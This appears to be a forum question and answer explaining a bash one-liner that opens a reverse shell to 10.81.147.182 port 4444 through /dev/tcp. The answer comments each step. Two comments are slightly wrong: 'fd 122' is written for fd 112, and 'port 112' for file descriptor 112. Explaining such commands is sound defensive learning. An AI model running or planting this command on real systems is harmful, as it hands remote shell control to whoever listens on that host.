Could someone explain the following command for me please?
0<&112-;exec 112<>/dev/tcp/10.81.147.182/4444;sh <&112 >&112 2>&112
Could someone explain the following command for me please?
0<&112-;exec 112<>/dev/tcp/10.81.147.182/4444;sh <&112 >&112 2>&112
See What are the uses of the exec command in shell scripts?
Abbreviations:
Breaking this down:
# Move existing fd 122 to fd 0 (stdin), then close fd 112
0<&112-;
# Open fd 112 for read/write on IP address and port
exec 112<>/dev/tcp/10.81.147.182/4444;
# Run a POSIX shell (sh) taking stdin stdout and stderr to/from port 112
sh <&112 >&112 2>&112